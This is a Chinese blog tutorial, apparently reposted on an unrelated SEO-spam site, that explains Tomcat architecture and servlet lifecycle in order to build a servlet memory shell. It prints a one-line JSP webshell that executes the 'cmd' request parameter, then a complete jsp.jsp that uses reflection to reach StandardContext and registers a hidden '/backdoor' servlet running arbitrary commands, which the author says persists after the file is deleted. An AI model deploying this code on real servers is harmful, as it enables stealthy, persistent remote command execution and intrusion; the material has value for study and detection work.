网站建设行业前景济源制作网站
- 作者: 五速梦信息网
- 时间: 2026年04月20日 07:44
当前位置: 首页 > news >正文
网站建设行业前景,济源制作网站,网站推广的电子邮件推广,关于做情侣的网站的图片大全目录 前言
什么是中间键
了解jsp的本质
理解servlet运行机制
servlet的生命周期
Tomcat总体架构 查看Context 的源码
servlet内存马实现
参考 前言
php和jsp一句话马我想大家都知道#xff0c;早先就听小伙伴说过一句话木马已经过时了#xff0c;现在是内存马的天下…目录 前言
什么是中间键
了解jsp的本质
理解servlet运行机制
servlet的生命周期
Tomcat总体架构 查看Context 的源码
servlet内存马实现
参考 前言
php和jsp一句话马我想大家都知道早先就听小伙伴说过一句话木马已经过时了现在是内存马的天下了 内存马无落地文件更隐蔽不易被发现。翻一翻大佬的文章看起来让人云里雾里的究竟什么是内存马呢
为了搞清这点我们必须从java的特性底层出发才能对内存马知根知底。
本节我将介绍 什么是内存马 什么是servlet servlet运行机制 jsp的本质 Tomcat总体架构 注册servlet到tomcat 注册的流程 StandardContext类 servlet内存马的实现
什么是中间键
当我们发送一个url到服务器再到服务器返回数据到给用户这个过程中经历了什么
我们都知道tomcat 是一个java程序的中间件为什么这么说呢
当我们浏览器发出url到web服务器web服务器谁来处理这些连接请求 处理数据 返回数据为什么一定要用tomcat不用行不行? tomcat帮我们做了什么
tomcat的实现底层用到了socket编程 i/o输入输出流 反射调用 线程等技术。想一想如果不用tomcat 我们是否可以用纯java代码来实现这些功能
了解jsp的本质
我们启用tomcat 把index.jsp复制到tomcat项目目录webapps\testServlet下
%Process process Runtime.getRuntime().exec(request.getParameter(cmd));%
启动tomcat /bin/startup.bat
访问并传递参数http://127.0.0.1:8080/testServlet/index.jsp?cmdcalc 这里成功运行了jsp的java代码。
我们都知道java不像php语言一样它是由java编译后运行的。编译器是怎么理解jsp的呢? 是什么机制
我们可以打开tomcat的工作空间\apache-tomcat-8.0.50\work\Catalina\localhost\testServlet\org\apache\jsp
查看对应项目的反编译文件class类 查看index_jsp.java
/** Generated by the Jasper component of Apache Tomcat* Version: Apache Tomcat/8.0.50* Generated at: 2023-09-xx 02:06:44 UTC* Note: The last modified time of this file was set to* the last modified time of the source file after* generation to assist with modification tracking./
package org.apache.jsp;import javax.servlet.;
import javax.servlet.http.;
import javax.servlet.jsp.;public final class index_jsp extends org.apache.jasper.runtime.HttpJspBaseimplements org.apache.jasper.runtime.JspSourceDependent,org.apache.jasper.runtime.JspSourceImports {private static final javax.servlet.jsp.JspFactory _jspxFactory javax.servlet.jsp.JspFactory.getDefaultFactory();private static java.util.Mapjava.lang.String,java.lang.Long _jspx_dependants;private static final java.util.Setjava.lang.String _jspx_imports_packages;private static final java.util.Setjava.lang.String _jspx_imports_classes;static {_jspx_imports_packages new java.util.HashSet();_jspx_imports_packages.add(javax.servlet);_jspx_imports_packages.add(javax.servlet.http);_jspx_imports_packages.add(javax.servlet.jsp);_jspx_imports_classes null;}private volatile javax.el.ExpressionFactory _el_expressionfactory;private volatile org.apache.tomcat.InstanceManager _jsp_instancemanager;public java.util.Mapjava.lang.String,java.lang.Long getDependants() {return _jspx_dependants;}public java.util.Setjava.lang.String getPackageImports() {return _jspx_imports_packages;}public java.util.Setjava.lang.String getClassImports() {return _jspx_imports_classes;}public javax.el.ExpressionFactory _jsp_getExpressionFactory() {if (_el_expressionfactory null) {synchronized (this) {if (_el_expressionfactory null) {_el_expressionfactory _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();}}}return _el_expressionfactory;}public org.apache.tomcat.InstanceManager _jsp_getInstanceManager() {if (_jsp_instancemanager null) {synchronized (this) {if (_jsp_instancemanager null) {_jsp_instancemanager org.apache.jasper.runtime.InstanceManagerFactory.getInstanceManager(getServletConfig());}}}return _jsp_instancemanager;}public void _jspInit() {}public void _jspDestroy() {}public void _jspService(final javax.servlet.http.HttpServletRequest request, final javax.servlet.http.HttpServletResponse response)throws java.io.IOException, javax.servlet.ServletException {final java.lang.String _jspx_method request.getMethod();
if (!GET.equals(_jspx_method) !POST.equals(_jspx_method) !HEAD.equals(_jspx_method) !javax.servlet.DispatcherType.ERROR.equals(request.getDispatcherType())) {
response.sendError(HttpServletResponse.SC_METHOD_NOT_ALLOWED, JSPs only permit GET POST or HEAD);
return;
}final javax.servlet.jsp.PageContext pageContext;javax.servlet.http.HttpSession session null;final javax.servlet.ServletContext application;final javax.servlet.ServletConfig config;javax.servlet.jsp.JspWriter out null;final java.lang.Object page this;javax.servlet.jsp.JspWriter _jspx_out null;javax.servlet.jsp.PageContext _jspx_page_context null;try {response.setContentType(text/html);pageContext _jspxFactory.getPageContext(this, request, response,null, true, 8192, true);_jspx_page_context pageContext;application pageContext.getServletContext();config pageContext.getServletConfig();session pageContext.getSession();out pageContext.getOut();_jspx_out out;Process process Runtime.getRuntime().exec(request.getParameter(cmd));out.write(\r);out.write(\n);} catch (java.lang.Throwable t) {if (!(t instanceof javax.servlet.jsp.SkipPageException)){out _jspx_out;if (out ! null out.getBufferSize() ! 0)try {if (response.isCommitted()) {out.flush();} else {out.clearBuffer();}} catch (java.io.IOException e) {}if (_jspx_page_context ! null) _jspx_page_context.handlePageException(t);else throw new ServletException(t);}} finally {_jspxFactory.releasePageContext(_jspx_page_context);}}
}
可以看到我们写的jsp代码在index_jsp类中定义而index_jsp类继承了org.apache.jasper.runtime.HttpJspBase
为了找到这个类我们可以先找到jasper.jar这个包 在随便添加到某个项目里查看里面的文件 package org.apache.jasper.runtime;import java.io.IOException;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.jsp.HttpJspPage;
import org.apache.jasper.compiler.Localizer;public abstract class HttpJspBase extends HttpServlet implements HttpJspPage {private static final long serialVersionUID 1L;protected HttpJspBase() {}public final void init(ServletConfig config) throws ServletException {super.init(config);this.jspInit();this._jspInit();}public String getServletInfo() {return Localizer.getMessage(jsp.engine.info);}public final void destroy() {this.jspDestroy();this._jspDestroy();}public final void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {this._jspService(request, response);}public void jspInit() {}public void _jspInit() {}public void jspDestroy() {}protected void _jspDestroy() {}public abstract void _jspService(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException;
} 可以明确看到HttpJspBase 继承了HttpServlet类
可以说jsp的本质就是一个HttpServlet类
理解servlet运行机制
我们正常的servlet怎么写!
WebServlet(/test)
public class TestServlet extends HttpServlet {Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {//super.doGet(req, resp);resp.getWriter().write(hello world);} 我们使用注解的方式建立url地址/test 对应Servlet TestServlet类,重写doGet 向客户端返回hello world
浏览器访问 http://127.0.0.1:8080/testServlet/test tomcat 是怎么处理调用这个类的
简单来说 tomcat程序会扫描项目中的WebServlet 获取相应的字符串在通过反射的方式实例化这个对象在对应socket连接输入输出流的基础上创建线程调用Servlet 其中request请求对象也传了进去也是由tomcat收集请求信息创建的对象。调用service方法再根据请求参数调用相应的处理方法比如doget方法。
servlet的生命周期
实际上tomcat维护了一个大的hashmapidServlet 里面存放着servlet实例当我们第一次尝试访问这个servlet路径时tomcat使用反射将该servlet实例化同时调用init() 作初始化之后这个实例就存放在了tomcat维护的hashmapid,Servlet中供后续使用。当再次请求这个servlet资源的时候由于hashmapid,Servlet已经有这个实例 所以这时也不用再实例化对象直接就可以使用了因此init() 也不会调用。
可以看出 servlet 自实例化以来就一直可以常驻内存中直到服务器关闭或Servlet调取destroy()方法进行销毁,Servlet生命周期才正式结束。
既然jsp可以执行java代码servlet也是java代码一步一步地走出来的那么我们是否可以用jsp手写底层逻辑再注册一个servlet呢! 如果tomcat中有一个servlet可以为攻击者所用是不是就是说有一个隐藏的后门考虑到servlet的生命周期这个后门就是常驻内存的持久化的后门
这就是所谓的————–内存马
Tomcat总体架构 对照上面的关系图
ServerServer容器就代表一个Tomcat实例Catalina实例其下可以有一个或者多个Service容器
从Tomcat安装目录下的/conf/server.xml 文件里可以看到最顶层的是server。 ServiceService是提供具体对外服务的默认只有一个一个Service容器中又可以有多个Connector组件监听不同端口请求解析请求和一个Servlet容器做具体的业务逻辑处理Service组件本身没做其他事
Engine和HostEngine组件引擎是Servlet容器Catalina的核心它支持在其下定义多个虚拟主机Host虚拟主机允许Tomcat引擎在将配置在一台机器上的多个域名比如www.baidu.com、www.bat.com分割开来互不干扰
Context每个虚拟主机又可以支持多个web应用部署在它下边这就是我们所熟知的上下文对象Context上下文是使用由Servlet规范中指定的Web应用程序格式表示不论是压缩过的war包形式的文件还是未压缩的目录形式
Wrapper在上下文中又可以部署多个servlet并且每个servlet都会被一个包装组件Wrapper所包含一个wrapper对应一个servlet
怎么理解Engine Host Context Wrapper 这四者之间的关系呢 抛开晦涩难懂的术语 或许我们用java的特性会更好理解点基于万物皆可对象。
Engine: 我们可以直接把他理解为tomcat一个tomcat 一个Engine若我们想运行一个网站首先要下载安装tomcat对吧!
Host: host可以理解为一个虚拟主机为什么是虚拟 想一想我们的一台电脑主机只能开启一个web服务吗并不是吧我们可以绑定不同端口或者不同域名来开启一个或多个web服务。在外部看来就好像多台主机启动一样但实际上它们都是一台主机开启的。为了描述这种技术我们将其称之为虚拟主机当我们下载安装好后一定会考虑配置tomcat要监听的网卡和要监听的端口甚至是域名对吧
Context 很多人说这是上下文那你能说说什么是上下文吗不要用术语去解释术语当然这也有可能是翻译问题。我们看看官方怎么说的Apache Tomcat 7 Configuration Reference (7.0.109) - The Context Containerhttps://tomcat.apache.org/tomcat-7.0-doc/config/context.html The Context element represents a web application, which is run within a particular virtual host. Each web application is based on a Web Application Archive (WAR) file, or a corresponding directory containing the corresponding unpacked contents, as described in the Servlet Specification (version 2.2 or later). For more information about web application archives, you can download the Servlet Specification, and review the Tomcat Application Developers Guide. ————换句话说可以把这个理解为webapps目录下的目录一个context就是一个目录万物皆对象嘛
对于我们的servlet程序(本质就是一个java类)肯定是存在于目录(Context)下对吧故在这个世界中它的创建销毁是交给了context对象来管理。
举个例子 来加深下Context 的理解
在server.xml 配置如下 写在host标签下 Context path/myapp docBaseC:/path/to/myapp / 在上面的示例中使用了一个 Context 标签来为名为 myapp 的上下文进行配置。通过设置 path 属性为 /myapp将应用程序的上下文路径设置为 /myapp。用程序的部署目录在本地文件系统上的路径为 C:/path/to/myapp。这个路径可以是包含应用程序源代码、配置文件和资源的目录。在访问该应用程序时需要使用类似于 http://localhost:8080/myapp 的 URL即可。
Wrapper 就是servlet了此次我们重点要关注的是servlet的创建注册由于它的创建交由Context管理。故我们把重点放到Context 上寻求注册servlet的方法。 查看Context 的源码
源码下载Apache Tomcat® - Apache Tomcat 8 Software Downloads
参考文章最近迷上了源码Tomcat源码看我这篇就够了 - 掘金 (juejin.cn)
我们来到包package org.apache.catalina.startup;下 找到contextconfig.java 文件代码两千多行尝试搜索create找到创建servlet(wrapper)相关代码。代码定位在1282行 for (ServletDef servlet : webxml.getServlets().values()) {Wrapper wrapper context.createWrapper();// Description is ignored// Display name is ignored// Icons are ignored// jsp-file gets passed to the JSP Servlet as an init-paramif (servlet.getLoadOnStartup() ! null) {wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());}if (servlet.getEnabled() ! null) {wrapper.setEnabled(servlet.getEnabled().booleanValue());}wrapper.setName(servlet.getServletName());MapString,String params servlet.getParameterMap();for (EntryString, String entry : params.entrySet()) {wrapper.addInitParameter(entry.getKey(), entry.getValue());}wrapper.setRunAs(servlet.getRunAs());SetSecurityRoleRef roleRefs servlet.getSecurityRoleRefs();for (SecurityRoleRef roleRef : roleRefs) {wrapper.addSecurityReference(roleRef.getName(), roleRef.getLink());}wrapper.setServletClass(servlet.getServletClass());MultipartDef multipartdef servlet.getMultipartDef();if (multipartdef ! null) {long maxFileSize -1;long maxRequestSize -1;int fileSizeThreshold 0;if(null ! multipartdef.getMaxFileSize()) {maxFileSize Long.parseLong(multipartdef.getMaxFileSize());}if(null ! multipartdef.getMaxRequestSize()) {maxRequestSize Long.parseLong(multipartdef.getMaxRequestSize());}if(null ! multipartdef.getFileSizeThreshold()) {fileSizeThreshold Integer.parseInt(multipartdef.getFileSizeThreshold());}wrapper.setMultipartConfigElement(new MultipartConfigElement(multipartdef.getLocation(),maxFileSize,maxRequestSize,fileSizeThreshold));}if (servlet.getAsyncSupported() ! null) {wrapper.setAsyncSupported(servlet.getAsyncSupported().booleanValue());}wrapper.setOverridable(servlet.isOverridable());context.addChild(wrapper);}for (EntryString, String entry :webxml.getServletMappings().entrySet()) {context.addServletMappingDecoded(entry.getKey(), entry.getValue());} 这段代码片段是在处理Servlet的配置信息并根据配置信息创建相应的Wrapper对象。具体的逻辑如下 遍历webxml中所有的Servlet使用一个增强型for循环每次迭代将当前的ServletDef对象赋值给servlet变量。 创建一个Wrapper对象并设置一些基本属性如名称、是否启用等。 获取Servlet的参数集合并将每个参数添加到Wrapper的初始化参数中。 设置Servlet的执行权限。 添加与Servlet相关的安全角色引用。 设置Servlet的类名。 处理Servlet的多部分配置包括文件大小限制、上传位置等。 设置是否支持异步请求。 设置是否允许覆盖。 将创建的Wrapper对象添加到上下文Context中。 通过以上步骤这段代码实现了对webxml中所有Servlet的遍历和配置处理并将其对应的Wrapper对象添加到上下文中以便后续的Servlet的加载和运行。 11.实现将Servlet与URL模式进行映射并将映射关系添加到上下文中以便后续请求匹配对应的Servlet进行处理。 基于以上代码我们需要做简单的修改保留关键部分的代码 Wrapper wrapper context.createWrapper(); wrapper.setName(servlet.getServletName()); wrapper.setServletClass(servlet.getServletClass()); context.addChild(wrapper); context.addServletMappingDecoded(entry.getKey(), entry.getValue()); 这段代码的作用是创建一个Wrapper对象并将其添加到上下文中同时将Servlet与URL模式进行映射。具体逻辑如下 创建一个Wrapper对象调用上下文Context的createWrapper()方法返回一个新的Wrapper实例并将其赋值给wrapper变量。 设置Wrapper的名称即调用setName()方法将Servlet的名称servletName设置为Wrapper的名称。 设置Wrapper的Servlet类名即调用setServletClass()方法将Servlet的类名servletClass设置为Wrapper的Servlet类名。 将创建的Wrapper对象添加到上下文中即调用上下文的addChild()方法将Wrapper作为子元素添加到上下文中。 将Servlet与URL模式进行映射并添加到上下文中即调用上下文的addServletMappingDecoded()方法将URL模式和Wrapper的名称作为参数传入将URL模式与对应的Servlet进行映射。 通过以上步骤可以实现创建Wrapper对象并将其添加到上下文中同时将Servlet与URL模式进行映射以便后续根据URL模式匹配到对应的Servlet进行请求处理。 由于context为接口 我们需要一个实例用context接收 调用createWrapper()方法。
Context实现类为 org.apache.catalina.core.StandardContext
目前我们有request对象它其中getServletContext()方法。看看能否找到相关的类StandardContext servlet内存马实现
servlet后门定义
%!
public class backdoor extends HttpServlet {Overridepublic void doGet(HttpServletRequest request, HttpServletResponse resp) throws IOException{resp.getWriter().write(hello world);Process process Runtime.getRuntime().exec(request.getParameter(cmd));}}
%
获取一个StandardContext对象
%// 一个小路径快速获得StandardContextField reqF request.getClass().getDeclaredField(request);reqF.setAccessible(true);Request req (Request) reqF.get(request);StandardContext context (StandardContext) req.getContext();
%
创建weapper注册servlet
%
Wrapper wrapper context.createWrapper();
wrapper.setName(backdoor);
wrapper.setServletClass(backdoor);
wrapper.setServlet(new backdoor());context.addChild(wrapper);
context.addServletMappingDecoded(/backdoor, backdoor);
%
和起来的的代码jsp.jsp
//jsp功能实现
% page importjava.io.IOException %
% page importjava.io.InputStream %
% page importjava.util.Scanner %
% page importjava.io.PrintWriter %
% page importjava.lang.reflect.Field %
% page importjavax.servlet.http.HttpServletRequest %
% page importorg.apache.catalina.Wrapper %
% page importjavax.servlet.ServletContext %
% page importorg.apache.catalina.connector.Request %
% page importorg.apache.catalina.core.StandardContext %% page contentTypetext/html;charsetUTF-8 languagejava %
htmlheadtitlebackdoor/title/headbody
h1backdoor/h1
%!
public class backdoor extends HttpServlet {Overridepublic void doGet(HttpServletRequest request, HttpServletResponse resp) throws IOException{resp.getWriter().write(hello world);Process process Runtime.getRuntime().exec(request.getParameter(cmd));}}
%
%// 一个小路径快速获得StandardContextField reqF request.getClass().getDeclaredField(request);reqF.setAccessible(true);Request req (Request) reqF.get(request);StandardContext context (StandardContext) req.getContext();
%%
Wrapper wrapper context.createWrapper();
wrapper.setName(backdoor);
wrapper.setServletClass(backdoor);
wrapper.setServlet(new backdoor());context.addChild(wrapper);
context.addServletMappingDecoded(/backdoor, backdoor);
%/body
/html
上传jsp.jsp到tomcat项目目录webapps\testServlet下访问 插曲其实这里出的错不少一直调啊调最终才调好。
貌似执行成功了 现在访问我们的servlet 带上参数 根据理论现在即使删除jsp.jsp文件这个路径访问还是会生效。算的上是一个持久化的后门。
只有tomcat重启这个注册的servlet才会被销毁。
除此之外我们还可以从监听器 过滤器下手它们也可以创建内存马不过本质上都一样。
参考
Servlet内存马-CSDN博客
最近迷上了源码Tomcat源码看我这篇就够了 - 掘金 (juejin.cn)
java内存马专题1-servlet内存马_哔哩哔哩_bilibili
https://tomcat.apache.org/tomcat-7.0-doc/config/context.html GPT3.5
- 上一篇: 网站建设行业地位如何搭建网上商城
- 下一篇: 网站建设性能指标网站通栏如何做特效
相关文章
-
网站建设行业地位如何搭建网上商城
网站建设行业地位如何搭建网上商城
- 技术栈
- 2026年04月20日
-
网站建设行业swot分析上海网站建设v芯ee8888e
网站建设行业swot分析上海网站建设v芯ee8888e
- 技术栈
- 2026年04月20日
-
网站建设行多用户商城系统哪里有
网站建设行多用户商城系统哪里有
- 技术栈
- 2026年04月20日
-
网站建设性能指标网站通栏如何做特效
网站建设性能指标网站通栏如何做特效
- 技术栈
- 2026年04月20日
-
网站建设修改教程视频教程wordpress frame主题
网站建设修改教程视频教程wordpress frame主题
- 技术栈
- 2026年04月20日
-
网站建设修改教程视频小型教育网站的开发与建设论文
网站建设修改教程视频小型教育网站的开发与建设论文
- 技术栈
- 2026年04月20日
